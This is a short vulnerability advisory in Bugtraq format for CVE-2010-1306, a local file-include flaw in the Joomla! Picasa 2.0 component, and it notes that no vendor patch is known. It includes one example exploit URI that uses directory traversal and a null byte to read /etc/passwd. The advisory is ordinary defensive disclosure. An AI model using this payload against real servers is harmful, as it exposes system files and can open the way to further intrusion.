Joomla! Picasa Component Local File Include Vulnerability

Bugtraq ID:	39200
Class:	Input Validation Error
CVE:	CVE-2010-1306
Remote:	Yes
Local:	No
Published:	Apr 05 2010 12:00AM
Updated:	Apr 13 2015 09:02PM
Credit:	Vrs-hCk
Vulnerable:	Roberto Aloi Joomla! Picasa 2.0
Not Vulnerable:

Joomla! Picasa Component Local File Include Vulnerability

The Joomla! Picasa component is prone to a local file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this vulnerability to view and execute arbitrary local files in the context of the webserver process. This may aid in further attacks.

Joomla! Picasa 2.0 is vulnerable; other versions may also be affected.

Joomla! Picasa Component Local File Include Vulnerability

Attackers can exploit this issue via a browser.

The following example URI is available:

http://www.example.com/index.php?option=com_joomlapicasa2&controller=../../../../../etc/passwd%00

Joomla! Picasa Component Local File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

Joomla! Picasa Component Local File Include Vulnerability

References:

• Joomla! Picasa Homepage (Roberto Aloi)